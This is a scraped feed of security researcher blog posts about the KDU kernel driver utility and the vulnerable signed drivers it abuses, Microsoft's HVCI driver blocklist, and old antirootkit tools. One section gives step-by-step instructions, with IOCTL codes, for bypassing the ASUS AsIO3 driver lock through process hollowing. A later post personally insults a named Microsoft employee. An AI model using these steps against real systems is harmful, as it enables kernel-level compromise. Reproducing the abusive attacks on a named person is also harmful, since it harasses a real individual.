There are new articles available, click to refresh the page.
✇The Vault


By: hfiref0x
01 March 2022 update

Since there were some questions, here are the answers:

There is attempts of censorships from services.

github account won't be deleted unless it is done by service itself, however don't expect it to be active anytime soon. All these fancy stuff is securely mirrored.

this blog is kind of insignificant but stays as is, unless it won't be deleted by google itself

emergency contacts are all valid, note that we won't use/acknowledge google/ms or any other U.S. based services anymore and strictly advising for these who know do the same

Keep safe and be well~
✇The Vault

KDU v1.2 release and the wonderful world of Microsoft incoherency

By: hfiref0x

It's been a while since last KDU update and thanks to Artem Baranov from Kaspersky my attention is again on it. The new 1.2 release contain eight new providers and set of additional changes that were required for new providers work. Here is list of new providers added, the details on each are following:

  • GMER "antirootkit"
  • Dell BIOS Utility (assigned CVE-2021-21551)
  • Mimikatz "Mimidrv"
  • Process Hacker "KProcessHacker2"
  • Process Explorer "ProcExp152"
  • Dell BIOS Utility (assigned CVE-2021-36276)
  • Cheat Engine
  • ASUS GPU Tweak II/III (EneTech next-gen)
And after describing new providers we will take a tour into wonderful world of Microsoft incoherency with their newest Win10/Win11 drivers blacklist managed by CI.dll

Providers description 

(number is ID in KDU database)

15. GMER "antirootkit"

Pic 1. What could possible go wrong here

GMER "antirootkit", I'm familiar with this software since it birth and introduction by author (Przemyslaw Gmerek) on SysInternals forums during Rustock's first variants most active period. Since it first release it was a mediocre software with limited capabilities to detect or remove anything despite author claims (he still has a dedicated gallery on his long forgotten site). Since I was developing the same toolset during that time I of course reverse-engineered GMER to find out if there is anything interesting in it. It sounds fun but this is exactly how things were going in the 2005-2010 anywhere with tools developed by enthusiasts. Amount of copy-pasted techniques and code from different authors in different tools of this time is tremendous. GMER driver doesn't surprised me and except obvious bugs I didn't found anything else interesting in it, except number of simple ways how to completely make it blind in case of rootkit detection (we later implemented one of in our laboratory rootkit called Unreal so Gmerek was forced to do an emergency update 😅). Remember, it was year 2006 and Windows XP was all around and shiny again after general Vista fuckup. Entire class of this software died around 2011-2013 so I was surprised that GMER actually managed not only survive but move to x64 world. Ohh, better he doesn't. The actual x64 driver made of copy-paste from x86 version with few things adjusted to make it work on x64 and some features that are bound to x86 only completely removed. For some unknown reason it still has a branches of code that doesn't make any sense on x64, that shows how actually author didn't care about final product. Since acquiring by Avast their Avast MBR tool contain exact the same driver from GMER (because it's powered by "GMER technology", this is a fucking rofl yeah). From current perspective this driver is a wormhole and I'm surprised no one actually tried to exploit it for a fancy CVE id, almost just like Trend Micro tool highlighted in one of my previous posts. For KDU usage the most prominent features of GMER are arbitrary kernel virtual memory read and write. This is not a bug, it is intentionally created mess so GMER can read/write kernel memory via it's process. This feature implemented via MDL mapping and accessible with dedicated IOCTL with simple data structure. One important note is that before calling this (or any other IOCTL) you have to talk with GMER driver first to let it know it was "initialized". This is done with a special IOCTL. Note that GMER driver sets exclusive flag when creating it device object, however when application crash driver stays in memory and accessible for everyone.

TL;DR - current GMER is completely useless (and dangerous due to multiple bugs, just look on pic 1 - few seconds before BSOD) in terms of "rootkit detection" usage and represent a security risk by containing Windows security bypasses available without any proper verification of caller nor access checks. 

16. Dell BIOS Utility (assigned CVE-2021-21551)

This one is pretty simple and well described in CVE entry. This is a typical flaw in giveio-type drivers. It has memmove with completely user controlled parameters send by special IOCTL.  Such "features" aren't so rare in the wonderful world of hardware vendors drivers.

17. Mimikatz "Mimidrv"

This is auxiliary driver from Mimikatz tool which is open-source. Mimikatz is a well known tool and a lot of people found it damn useful. Well I'm not one of them. Speaking of mimidrv - it has full source available and by opening this source you will want to close it ASAP to not hurt your eyes with amount of shitcode you will face. It's a complete bugged wormhole which has number of built binaries with different versions all signed with a valid certificate. No wonder Microsoft banned this certificate in their HVCI blocklist which we will discuss later. We are interested here in arbitrary kernel virtual memory read/write IOCTL's, in fact they are almost the same as in GMER. You don't need any special preconditions to start using mimidrv. Here is the details on other features of mimidrv - Mimidrv In Depth: Exploring Mimikatz’s Kernel Driver if you are interested.

18. Process Hacker "KProcessHacker2"

It is famous tool and I remember how it was born. Process Hacker come at SysInternals forum with wj32 in the late 00s in form of open source task manager replacement written in C#. It was immediately criticized for this by forum members and after some reconsiderations wj32 ported it on more suitable programming language (thankfully there wasn't any cancer like Rust popular that days). PH roots from Windows XP era with same design and philosophy. That's how it started and worked just fine until Turla malware group widely popularized BYOVD (Bring Your Own Vulnerable Driver) attacks in 2014-2015. The mentioned PH driver KProcessHacker2 was abused by multiple actors starting from malware and ending up with cheat community. This followed with wave of antivirus detections and game bans. All because of this tool initial design and philosophy from Windows XP era. That is why it was full of wormhole functionality and still have it up-to-date. What is so unique in this driver? It provides a set of IOCTL's which work as Windows API replacements for several key to the Windows security functions. Just a few of them for example: OpenProcess, OpenThread, DuplicateHandle, TerminateThread, TerminateProcess, Set/GetThreadContext, Read/WriteProcessMemory. Natural hackbox isn't it? Earlier versions of PH code (which all nicely written and well documented) even contain remarks where author hopes that this driver client "is not a virus" so wj32 clearly predicted things can go worse 😏 We will go back to PH in the end of this post. For KDU tasks this driver maybe not looking good at first glance (it looks like more suitable for malware usage 😂), but then if you look on the things from a different perspective - hell yeah. Here is why - starting from ancient Windows NT versions up to latest Windows 10 release "System" process keeps handle to physical memory section. It was abused before for physical memory access and later Microsoft banned it from user mode usage by setting object header flag -> kernel only access so you can't open new handle for this section from the user mode. Later MS added protected processes feature which additionally blocked exploitation because you can't open "System" process with sufficient rights. And here Process Hacker driver comes to the rescue with it hackbox IOCTL's allowing us: open full process handle for "System" process, duplicate physical memory section handle to our process with same full access rights. Further is trivial. Important note about fancy new Windows 10 rebrand called Windows 11. There is no physical memory section handle in "System" process as I observed and it is too boring to figure out is it intentional or need any preconditions to make it popup again - you may consider this as homework.

19. Process Explorer "ProcExp152"

Rival of previous task manager. Or previous task manager is a rival to this, or new Windows 10/11 taskmanager is a rival to both or vice versa or..., I don't really follow this "task manager market war" which is a complete bullshit, just the fact that Process Explorer existed long before PH release and PH "release to public" place was Process Explorer developers forums. This is a small handy tool developed by Mark Russinovich before his acquiring by Microsoft and abandoning all his tools (they are now out-sourced to some Microsoft geniuses who decided to remake classic UI with new over overstretched buttons and idiotic bitmaps ruining your old UI experience, and oh-ah "dark mode" I forgot about it). Process Explorer driver provide limited set of features that works almost the same as hackbox from PH. Have you heard about AV detecting Process Explorer as malware? I didn't, maybe because it is signed by Microsoft?😄 Anyway, this driver does have access checks implemented at dispatch routine so it fits into Microsoft wonderland of what they call "security boundaries". It doesn't really matter for BYOVD, this driver allows process opening, handle duplication, process termination and more. It is used in KDU in a similar manner as KProcessHacker2 driver. Oh, it even re-used next by KDU as placeholder for the final shellcode, what an irony.

20. Dell BIOS Utility (assigned CVE-2021-36276)

The same as previous Dell driver except it has different steps required for loading and new device name. In fact this is example of "fix" similar to that I described in my previous blogpost. TL;DR Dell fixed nothing and posed this driver update as ultimate fix for previously reported vulnerabilities. KDU exploits 2.5 version driver as I didn't bothered to find 2.7, but from all the description etc it will work the same way on 2.7 you only need to change device name.

21. Cheat Engine

Pic 2. Cheat Engine 7.4

Infamous open-source tool mostly used for game cheating and cracking. Has a kernel mode component called DBK (DarkByte Kernel?) which is a wormhole by design with WHQL signature, yeah. This driver abused by malware in recent GhostEmperor attacks. KDU uses similar pattern to write and execute code in kernel mode. Cheat Engine author tried to complicate his driver usage by 3rd parties (most likely by other cheat programs) by introducing few pseudo-security checks implemented on driver side. None of them can be considered as sufficient and mentioned above malware fully bypass them. KDU uses driver from the up-to-date Cheat Engine 7.4 package and proxy application "kernelmodeunloader.exe" from the same package. This driver is in HVCI blocklist. Warning to these who want to try: while installing Cheat Engine package (from official site) may install you a bunch of scamware if you won't pay attention to installation process and just spam "Next" clicks. Note that Cheat Engine driver has some problems with Windows 7, so it may not work or load here.

Pic 3. Cheat Engine DBK load failure, Windows 7

22. ASUS GPU Tweak II/III (EneTech next-gen)

It is implementation of what is stated in my previous blogpost. Nothing changed since that time, ASUS continuously use this trash in a number of it software products up to date. Side note, they also introduced new driver which looks like heavy remake of original WinIO with most of it dangerous features stripped, however not all. It is a something to investigate later.

HVCI blocklist or welcome to wonderful world of Microsoft incoherency

This feature introduced with HVCI on Windows 10. It is implemented as blocklist stored in \systemroot\system32\codeintegrity\driversipolicy.p7b file as certificate blob and specific code at CI.DLL to manage it. Decoding this "driverspolicy" data maybe accomplished with the following PowerShell script -> https://gist.github.com/mattifestation/92e545bf1ee5b68eeb71d254cec2f78e. Microsoft maintains current state of this list on github -> https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md. This blocklist is loaded and parsed by CI.DLL in kernel mode and invoked when HVCI is enabled (Core Isolation -> Memory Integrity) and something is trying to load driver. If this driver (authenticode hash, page hash, filename from version block, filename and version range from version block) found in blocklist Windows will deny it loading and log event. Presumable this list will be updated and each new Windows 1X "release" will bring brand new blocklist. Or they even managed to do it auto updating didn't checked that, at least previous Windows 10 versions doesn't seems update it since install.

Lets take Process Hacker discussed above, but latest version, and try to load it as admin with HVCI enforced:

Pic 4. HVCI enforced block of kprocesshacker.sys

With event 5038 added to the system security event log: 

Code integrity determined that the image hash of a file is not valid.  The file could be corrupt due to unauthorized modification or the invalid hash could indicate a potential disk device error.

File Name: \Device\HarddiskVolume3\ProcessHacker\kprocesshacker.sys

and NTSTATUS codes like STATUS_IMAGE_CERT_REVOKED and STATUS_DRIVER_UNABLE_TO_LOAD. This is actual Process Hacker v3.0 with valid digital signature and KProcessHacker3 which is immune to previous abuse by malware and cheaters. 

Why is this happening or welcome to wonderful world of Microsoft incoherency.

Microsoft added Process Hacker (PH) to HVCI blocklist just recently. There are no live examples of Process Hacker v3 abuse by malware except one from Crowdstrike dated back to 2019 and updated in the Dec 2021, https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/. This post gives you a brief to supposedly PH driver malicious usage involving full bypass of it integrated client verification introduced in 2.39 and still used in 3.0+. From that post you will learn that over-engineered approach which is used almost everywhere in PH code doesn't guarantee security and wormhole features are still can be used by 3rd party if they really want to. From my point of view malware authors has nothing else to do by choosing Process Hacker driver as their "provider" because:
  1. There are exist alternatives with much simpler (or none at all) verification logic, using them you can achieve the same "terminator" features;
  2. Process Hacker already signatured by various FakeAV as PUP/Tool/HackTool (or TrojanMulDrop lol) because it different old versions are used by malware and they share scan patterns.
Or they just wanted to piss-off PH authors showing them bypass of it over-engineered verification. Why then Microsoft doesn't considers its own Process Explorer (PE) driver as malicious security breaking tool? Lets leave aside "because it Microsoft signed lol" or "because it fits into security boundaries, have you saw secure device and SePrivilegeCheck?". If you compare how exactly PH and PE drivers does their "process" management you will notice that PH actually does it on lower level than PE. There are other functionally which is also should not exist at all - like duplicating handles, write/reading arbitrary processes memory, changing thread contexts etc. But lets start with simple thing, how PH and PE both acquire process handles. 

PH uses PsLookupProcessThreadByCid/PsLookupProcessByProcessId and ObOpenObjectByPointer. This allows it to skip ordinary access checks, ETW logging and... bypass some of the security products relying on filtering. It is basically reimplemented ntoskrnl ZwOpenProces->PsOpenProcess function with all the Se validation replaced with PH client/call verification. In comparison PE simple calls ZwOpenProcess with GENERIC_ALL desired access value. Both approaches are terrible piece of shit and comes from Windows XP era. If you need a handle to process/thread etc - use usermode call, that's is the only solid way to guarantee security and audit. If you still insist on accessing protected processes then entire operation should only take place in kernel after Windows security verification without returning anything important to usermode. Any termination/memory read/write from driver should be banned at all. This will however turn off "hacking" features of products as they won't be able to open/read/write everything. Sorry guys but this is how Windows now designed - if you not a part of trusted system code you can't access what ever you want. And there we have a dilemma - two drivers with wormhole functionality ideal for BYOVD attacks. One maintained open-source project, second proprietary Microsoft code without updates for decades. Both used by malware including APT. One in HVCI blocklist, second nope. I call this bullshit, Microsoft. What about PH, guys you are fucking process manager with extended features, not a Windows subsystem to replace or reinvent the MS security wheel just because you have nothing else to do and want to practice with system programming. Your "multi-purposing" is actually playing against you and serves no other purpose. You already removed a lot of "hacking" code from Process "Hacker" and still have a lot to remove/rework. Leave all this "hacking" to where it started - in the Windows XP era.

Another piece in this blocklist that attracted my attention is a number of strange drivers MS added seems by lurking on unknowncheats.me forum, including leaked certificates. Well it is good to know you lurk on most currently famous forum dedicated to kernel mode rootkits (what an irony yeah).

VBoxDrv innotek entry brings good old memories of Turla and later DSEFix/TDL. The only question here is why innotek only. Unlike popular opinion the exploit used by Turla group wasn't previously disclosed and therefore fixed in next versions, so basically it was a zeroday. This entire confuse makes you think that VirtualBox has only innotek signed Turla-style exploitable drivers. Meanwhile I would remember you that Sun acquired innotek GmbH in 2008 and later VirtualBox versions came out signed by Sun certificate. Since this vulnerability in vboxdrv wasn't fixed - all vboxdrv drivers at least up to 3.0 version are equally vulnerable and can be easily adopted to be used like in DSEFix or TDL 😉 (which was already done by some Chinese APT few years ago). Strange that this is not noticed by Microsoft.

Pic 5. The old the new thing

Ideally this blocklist should be twice or triple size bigger with only what is available on public today. No iobit, zemana fakeav drivers, no mihoyo, other anticheat crapware, no nVidia trash, no endless MSI packs of crap. Are you kidding, Microsoft? This is all available and exploitable. Right here, right now. Stop being a slowpoke, I've cookie for you.

✇The Vault

KDU v1.1 release and bonus (AsIO3.sys unlock)

By: hfiref0x

KDU stands for Kernel Driver Utility. It was developed mainly to assist in some other projects, like for example VBoxHardenedLoader. Since release in the beginning of 2020 it supported various vulnerable drivers as "functionality providers".

Overall these are the major 1.1 version changes:

  • Driver mapping shellcode has been updated, two additional shellcode variants have been added;
  • More vulnerable drivers from Huawei, Realtek, MSI, LG, ASUSTeK have been added.

Details about changes are below.

Shellcode variants

Overall shellcode has been redesigned to work with mapped section instead of registry. Previous version read payload driver image from Windows registry specific key. It was quick and cheap solution as I didn't bother with it and just re-used Stryker bootstrap shellcode variant. Now KDU will allocate special section with random name to store payload driver image, additional parameters and to query result uppon shellcode execution completion.

There are three variants of driver mapping shellcode available for selection via -scv <number> command. The difference between them is how they handle payload execution part. First variant uses newly created system thread to run payload entry point. It is pretty much the same method as original KDU/TDL/Stryker use. Second allocates work item and runs payload entry point within existing system worker thread. Third is more complex as it is designed for a small limited usage with drivers that are unaware of preconditions required for manual mapping. Preciously they require their DriverEntry parameters to be valid. This shellcode variant will allocate driver object, fill it common part and pass it together with supplied registry path to the payload DriverEntry as parameters. This is something like Dustman copy-pasters did with Eldos RawDisk however it also provides valid registry path parameter which is can be used by payload driver. While using 3rd shellcode version you need to supply driver object name using command -drvn <ObjectName> and optionally registry key name -drvr <RegName>. If no registry key name specified KDU will assume registry key name is the same as driver object name. Examples of usage -> https://github.com/hfiref0x/KDU#usage.

New providers

  • Huawei PhyMemx64 driver from Huawei MateBook Manager of various versions. This driver is a blatant copy-paste from infamous WINIO source code;
  • Realtek RtkIo64 driver from Realtek Dash Client Utility of various versions. This driver based on PHYMEM open-source project code, which is a wormhole by design;
  • EneTechIo64 from MSI Dragon Center, it is similar to previously added EneTech variants (all based on WINIO), however it utilizes "unique" unlocking algorithm (see https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html for a complete overview) and freshly signed so that is why I decided to add this variant too;
  • LG LHA driver from LG Device Manager, which is explained in Jackson_T blogpost. This driver is semi-original with some influence of open-source projects;
  • ASUSTeK AsIO2 driver from ASUS GPU Tweak utility, this driver also described in my blogpost about EneTech drivers derivatives.
That's all about KDU. Ironically bonus part is much longer.

Bonus (AsIO3.sys unlock)

ASUSTeK "giveio" drivers seems had some special love from the developers who are sitting on WINIO source code in EneTech. GLCKIO, GLCKIO2, AsIO, AsIo<O><variousnames>, AsIO2 and now AsIO3. What they share in common (except WINIO base) - their authors never fix their bugs. They actually just pull "new" version of driver when someone find a bug in it and contact ASUS for security reasons. Numerous CVE numbers generated by various groups/researches etc. So what they actually changing? Well, they just switching driver "locks" - a primitive handmade solutions which purpose is to block usage of the given driver by 3rd party. And under 3rd party I mean - block and/or ruin the way this driver was exploited in the submitted security issue. Thus submitted issue will be no longer reproducible as-is and they can tell - hey we fixed it, now you can gtfo, lol. Sometimes, like in case of AsIO2 their newly added locking code adds additional bugs and vulnerabilities. But nobody cares I guess.

Their latest release is AsIO3.sys with self-explaining pdb (C:\Working\MB\GLCKIO2\AsIO3\x64\Release\AsIO3_64.pdb). The key changes compared to AsIO2:

  1. They have been forced to make it pass Driver Verifier checks; 👏
  2. New driver lock, no more TinyAES with keys found by devs in Google search;
  3. All the bugs/vulnerabilities of WINIO stay same.

Driver is fresh and comes as part of ASUS GPU Tweak software v2303.

Pic 1. AsIO3 details.

New driver "lock" looks pretty damn solid and complicated! I mean they wasted so much code to create this ineffective piece of garbage while instead they could put their efforts into fixing (or even rewriting) entire WINIO. To "unlock" previous AsIO2 all you need - generate special resource named "asuscert" and put it into your application resources, see complete unlocking code here. In newest versions everything changed. 

AsIO contain three components - AsusCertService.exe (32bit), wrapper dll and driver. In the AsIO3 driver implemented special check of requestor application during IRP_MJ_CREATE. Driver reads file from disk, calculates SHA256 for it and compares this value with hardcoded hash. If they do not match - STATUS_ACCESS_DENIED will be returned to the caller.

Pic 2. AsusCertService.exe SHA256 hardcoded in AsIO3 driver

Thus initially only AsusCertService.exe allowed to open and communicate with AsIO3 driver. Entire purpose of this executable is to manage connections for AsIO3 driver. This driver also provides a way to register "trusted application" that will be able to call AsIO3. AsusCertService setups named pipe (no SD set ROFL) called "asuscert". Now if another application want to use AsIO3 and should contact AsusCertService via named pipe. AsusCertService will validate client executable to be digitally signed and signer must be one of the hardcoded values as shown below.

Pic 3. AsusCertService client signer check.

After successful check service will register client process as trusted for AsIO3 driver by sending special IOCTL 0xA040A490 with input buffer set to client process id. Driver manage this list similar to GLCKIO2 where it was firstly introduced. Another IOCTL 0xA040A494 used to remove client process id from trusted process list. 

How to bypass this garbage and completely useless code and unlock this driver for your application:

  1. Make a copy of AsusCertService somewhere, make sure it is unmodified otherwise driver side hash check will fail;
  2. Create a zombie process from this copy, stop before calling entrypoint;
  3. Unmap original code and replace it with your own shellcode;
  4. Resume zombie process;
  5. In a shellcode -> open driver and register your parent process in trusted process list using 0xA040A490 IOCTL code;
  6. Make sure AsusCertService zombie process will be alive and kicking (put it into infinite wait for example in your shellcode) while your main process is working, this is to prevent AsIO3 driver from zeroing trusted processes list;
  7. Now from your process you can do whatever you want with AsIO3, for example BSOD it (since AsIO3 provides full set of unfixed WINIO vulnerabilities/bugs).

Pic 4. AsIO3 usual state.

Well, what can I say. A quantum supercomputer calculating for a thousand years could not even approach the number of fucks which ASUS do not give when it comes to security of their drivers.

AsIO3 unlock PoC can be found at -> https://github.com/hfiref0x/AsIo3Unlock


Using KDU program might crash your computer with BSOD. Compiled binary and source code provided AS-IS in hope it will be useful BUT WITHOUT WARRANTY OF ANY KIND. Since KDU rely on completely bugged and vulnerable drivers security of computer where it executed maybe put at risk. Make sure you understand what you do.

KDU github with precompiled binaries -> https://github.com/hfiref0x/KDU

✇The Vault

Trend Micro's Rootkit Buster - Blast From The Past? Nope.

By: hfiref0x

Pic 1. TrendMicro abandonware.

Recently I came across an article "How to use Trend Micro’s Rootkit Remover to Install a Rootkit" by Bill Demirkapi. It covers TrendMicro out of date antirootkit called "RootkitBuster". TL;DR it is dangerous software full of hacks and potential kernel level vulnerabilities. My interest was attracted by the part about some pieces of code author of blogpost found weird. After reading it I thought that I can actually answer on questions made in this blogpost. A little introduction and small excursion into history are required before we can move on to answering questions.

Long time ago in a galaxy far away

I'm familiar with this software since... hmm decades? It just so happened that I probably know one of the guys who worked on this software and in general familiar with this software class, it design and reasons why it looks so terrible from this year perspective.

Rootkit Buster is a classic 3rd generation antirootkit created in the second half of the 200x in response to dominance of kernel mode rootkits on MS Windows. Almost every ISV created this kind of software in that times, some made standalone tools like TrendMicro, Kaspersky, Avast, BitDefender, Sophos, F-Secure (with their infamous by it uselessness BlackLight). Some ISV incorporated their functionality directly into their mainstream products like for example Dr.Web or later Avast (when they acquired author of freeware GMER). Almost all of them were useless and never bothered rootkit developers to address their detection's in rootkit updates. There is a few exceptions of course like Dr.Web antirootkit engine and Kaspersky TDSSKiller. Aside of this anything else were merely a jokes. Entire battlefront with rootkits of that era was up to freeware tools made by enthusiasts. Starting from Rutkowska PoC's (like system virginity verifier, klister) and following 2nd generation with IceSword from pjf, Darkspy from CardMagic and wowocock and ending up 3rd generation with various tools like KDetective, RootRepeal, GMER many many of them (I have complete museum collection of them, including various versions, which is about 200 mb archive).

While notorious malware families of that time largely utilized kernel mode rootkit components it were developed by a really small group of original authors. It was obvious for everyone who were familiar with their design and implementation (winking for those I know). Later in the beginning of 201x they left and market was flooded with copy-pasted, "renewed" junk copies. It quickly degenerated completely and moved into limited usage in the APT, like for example Turla rootkit which is heavily inspired by 200x solutions for antidetection.

Really, really bad code?

Both rootkits/antirootkits were using completely undocumented stuff, internal Windows structures, doing with kernel basically all what they want in a completely unsafe manner. Was it bad code? Obviously, for reference you can look on KSBinSword - a Chinese IceSword copy-paste clone with source code available. Solutions it used were widely used in any other antirootkits of that times. Or look on more recent Kernel Detective with also now available source code. Unfortunately there was no way to successfully counteract malware rootkits without going on their or deeper level. Which required going deeper into undocumented thing and unsafe solutions. So was it really "bad" code? BSOD-generators for sure. Have you ever saw Kaspersky AV 6.0-7.0 source code? It is a ridiculous mess and their drivers are dangerous bugfest by design. Does it mean Kaspesrky 6/7 were failures? Nope, they both were highly successful and actually delivered a lot of problems for malware authors of that time. It was bad but it was adequate solution to that time. Simple because everything else was ineffective. This mess required operation system vendor response at first place. And MS did the job so now we can look into the past and be horrified.

Rootkit Buster is a direct successor of those times (it both design and code) and has been really polished compared to most of other ISV tools of this kind. This does not mean it is highly effective against dedicated malware it only mean that others are can be worse.

Bruteforcing Processes

What is the point of it and why not use documented API here, as blogpost author stated? It is a simple answer if you somewhat familiar with rootkit/antirootkit development. 

Usually we use the ZwQuerySystemInformation function in the kernel to traverse the process module and obtain the process information. This is through the normal process traversal method. Therefore, multiple rootkits will intercept the ZwQuerySystemInformation function to filter the specified process to realize the hidden process. At the time, you couldn't trust in regular API call result because they can be easily faked through DKOM or manipulations with API hooks on various levels. Trust no one except yourself - is a main slogan for antirootkits of that era. One of the first tools implemented PID bruteforce for detecting hidden processes was, suprise-surprise, F-Secure Blacklight. There is nothing wrong with this method, it quickly became outdated as rootkits managed to go deeper and started modifying kernel objects structures, however it still has right to exist. Of course all this apply to 200x era.

Bruteforcing Offsets

Why not use ZwQueryInformatonProcess with ProcessImageFileName here?

Again if you familiar with things answer is simple. Using API in that case will ultimately lead into malicious hook where returned data will be faked. Aside from this it is not an Rootkit Buster innovation - in fact they simple used same code snipped with known for ages Russinovich RegMon source code (or maybe even earlier). In an effort to remain version-independent, rather than using a hard-coded offsets, it scan the process object structure memory looking for the name, which should match that of the GUI process, see RegMon source code.


Same as above. You can't trust API here unless you want to jump into rootkit trap. Notorious hardcore rootkits of that era always played at the edge of system collapse, modifying anything until the limit where they can't keep system alive anymore. Besides, offset are required to direct access to the kernel structures (thus avoiding all API hooks). Process Environment Block location is one of the key things for every antirootkit.

ETHREAD StartAddress Offset

Same as above. This offset needed for direct access to the object structure field. Additionally such scans are somewhat version independent code thus you don't need to hardcode 10-15 versions of ETHREAD offsets for single structure member if you have to support multiple Windows versions. None of API calls here (ZwQueryInformationThread) does makes any sense.

Pretty much all of the questions author made can be answered by just taking a look in any of "Rootkits blah blah blah" books dated back to 200x.

So Why?

RootkitBuster is a combination of out-dated techniques, methods from Windows XP era, that (it is my guess) are just blatantly copied from x86-32 and compiled for x64 without any actual refactoring (except part for making it compilable and verifier friendly ROFL). Obviously parts of code highlighted by author has a little sense (if any) on 64 bit Windows version with PatchGuard and other fancy security features built-in. In general this software has no sense on x64 and looks completely abandoned. It version 5 was released in 2011, do you see any hints here?

Just reversing of drivers for exploits is not enough for their code complete understanding. You have to be familiar with what they actually do and how this is implemented, not to say about baggage of experience in that field.

From a malicious usage perspective RootkitBuster also has nothing to offer. Take it as a sort of unusual museum exponent. If you want to look at really dangerous software actively developed and distributed under multiple "best security" crapware brands - take Zemana (or any of it pseudonyms) driver as example of complete hack-o-rama, right here, right now on x64.

✇The Vault

People That

By: hfiref0x


(c) Andrea Allievi aka aall64
Pic 1. What is all about.

When you interact with software and it developing company (in face of some developers) sometimes you meet a bunch of company fanatics. Those are people who actually jumped into the wagon not so long time ago but already think they are part/have rights on anything - they are deeply identify themselves with company they are working now. It is of course true if we take this from the commercial point of view and inter company communications. From the other (public) side this creates a problem of fanaticism. It is when you are become brainwashed at that level so you start to see things that does not exist. This depends on people but unfortunately it is a common trend. And they are not necessary devil advocates.

For example, any criticism targeting products of their company they take with pain in their own asses. And it does not matter if this criticism is valid or not.

Usually it starts with classic sentence - "If you don't %verb% %my company/product% then why you still %verb% it". E.g. - "if you don't like Windows then why you still use it". Such sentences used as a typical indicator of upcoming demagogy attack next.

So what is all about?

Meet the proud Microsoft fanatic who are unhappy with recent blogpost I made.

Pic 2. Meet aall64.

Long story short - he read (as he said) that https://swapcontext.blogspot.com/2020/10/uacme-35-wd-and-ways-of-mitigation.html. This ignited his butt very well and he went to me expressing his deep displeasure along with the demonstration of a rich imagination and the ability to see what is not exist.

Who is this guy? It is Microsoft employee that formerly worked in PrevX. Infamous MD5 calculators NextGen AV developing company with always lurking copy-pasters on various forums and EraserHW (Marco G.) as main PR man at charge who was linked to the fake overestimated malware campaigns of Gromozon/LinkOptimizer in 2006. This toxic active has been acquired by Webroot in the end of 2010 and later went to special hell dedicated for hash calculators NextGen AV. Andrea is a current co-author of that yet another full of water Russinovich book edition (which 3rd edition copy I accidentally bought in 2006, when actually liked it those days). Also he is a "proud Microsoft guy" (as he said). I know about him 10 years. This guy come up to kernelmode.info in 2010 with his pet project called AntiTdl. He come here after advice from wilderssecurity.com forums where he initially posted his project. Casuals from that forum wasn't happy with it (they wasn't able to deal with it), so following their advice he registered on kernelmode.info and posted stuff. That is how we meet. This project was already out-dated, extremely bugged and was basically useless. However no one said a word against it, and KM community (including me) welcomed and provided all possible support to this author. Because sharing knowledge is always great idea. You can find this in kernelmode.info by searching with google "antitdl site:kernelmode.info". Next he come up to TDL4 reversing and other kind of bootkits, along the way he did plagiarism on existing content (https://twitter.com/Fyyre/status/155383565943701504). 

Pic 3. 2 years delay reply, rofl.

Next there was something about PatchGuard (another doubtful technology from MS) and he ended up surprisingly in Microsoft. I actually glad that he made his way from a mediocre half-fake AV company to the MSFT, good job.

Here is what exactly he does not like in my mentioned article about UAC. I specifically asked him about this because his initial claims has nothing to do with actual article context - it simple does not have anything he said. This is what he answered to me in a DM which I next made public.

Pic 4. "I see dead people everywhere".

To make it more readable, here is the part of article as screenshot.

Pic 5. Comedy Section Bonus part screenshot.

First, lets begin with "edited" statement.

His first tweet with accusations was 29 October 2020, it is on picture 2. The DM conversation take place 31 October 2020. So following this guy logic (I really hope it is not the same when he code anything), I edited material in between of his first tweet (29 Oct) and my answer to it few hours later.

Unfortunately to this guy there is a Google Cache of my blogpost available from 27 October -> https://webcache.googleusercontent.com/search?q=cache:_dzbCypL044J:https://swapcontext.blogspot.com/2020/+&cd=5&hl=ru&ct=clnk&gl=en&client=firefox-b-d (this google cache page saved to WebArchive additionally now).

This article has never been edited after publication. I have no habit of changing anything after it became public, except and only if I fix typos. However, if you remember his glorious way to Microsoft, you should remember this guy already familiar with plagiarism so probably he just projected his own habits on me.

Since we are dealing with a typical fanatic he still can claim that he read it before 27 Oct (and I don't have google cache earlier that date), so I magically got notified about that reading fact, magically imagined his reaction and edited content doing that in a stealth mode. It is ridiculous but from this guy I can expect anything now.

The context of the bonus of this article is describing typical social media behavior taking place each year. So this part "Woohoo, Windoze [email protected]$$3d M1cr0$0ft SuXx!" is not my words and not a projection of my options. It is what people say and mean. I don't know Andrea aka aall86, are you seriously thinking you are dealing with a sort of 14 year old script-kiddie here? What is the 86 here btw, year of birth or IQ rate?

The last part about "s3curity r3s3arch3rs", I've to decipher to Andrea, is about mister "DimopoulosElias" a guy who stuck in copy-pasta, use google for more info. Now put here your imagined "MiCro$oft sucks" and try to read this sentence again. It actually will lose all sense.

All these lying accusations is just weak attempt to hide actual reason of Andrea butt ignition. If you read this article it contains a lot of criticism. And harsh part related to Windows Defender. It is not the first time Andrea come ups trying to defend this crappy Microsoft imposed product. The last time he was defending that brain-dead Microsoft employees who multiple times signatured Process Hacker - popular open source software. So this guy read this vertically, butt ignited and he hang on the most notable sentences for him from this article (the magic number of 86 don't forget) completely ignoring not only their context but actual text, because I don't know what kind of reading skills you should have to read "s3curity r3s3arch3rs" as "MiCro$oft sucks" 😆

Pic 6. DM part

Yes, you just a dumbfuck fanatic 👌. Mister aall86 insisted during "conversation" via DM so he got a dedicated blogpost, achievement unlocked.


1. Always backup your original content with ability for others track any changes in it. You can use WebArchive and save your page after publication or copy contents to the some public git repository, so everybody will be able do a simple fact-check and track exact changes.

2. PrevX as indicator in people portfolio. Take such guys with a caution. Yes it is a sad thing but almost all of them I know ended up to be like this guy. It is PrevX curse and knowing this company past and key personalities of it - I should not be that surprised.

3. Since all his content now viewed through the prism of the above events - as of the "book" he co-writes - well, thankfully, it is now 2020 and not 2001-2005 so if you for some unknown reason still want to learn anything(new) about Windows internals you can always find a alternate way instead of this water pool. Remember one simple thing - since beginning, this book was a perfect illustration of Microsoft inability to write somewhat decent public documentation, MSDN is when they do this not because they want to, but because they have to. That's explains failing quality of available content. And to compensate this here we came up with sort of fan-fictions which are approved and welcomed by company.

✇The Vault

UAC bypasses from COMAutoApprovalList

By: hfiref0x


(This post is made with permission of Arush Agarampur - an original author of all methods described below). 

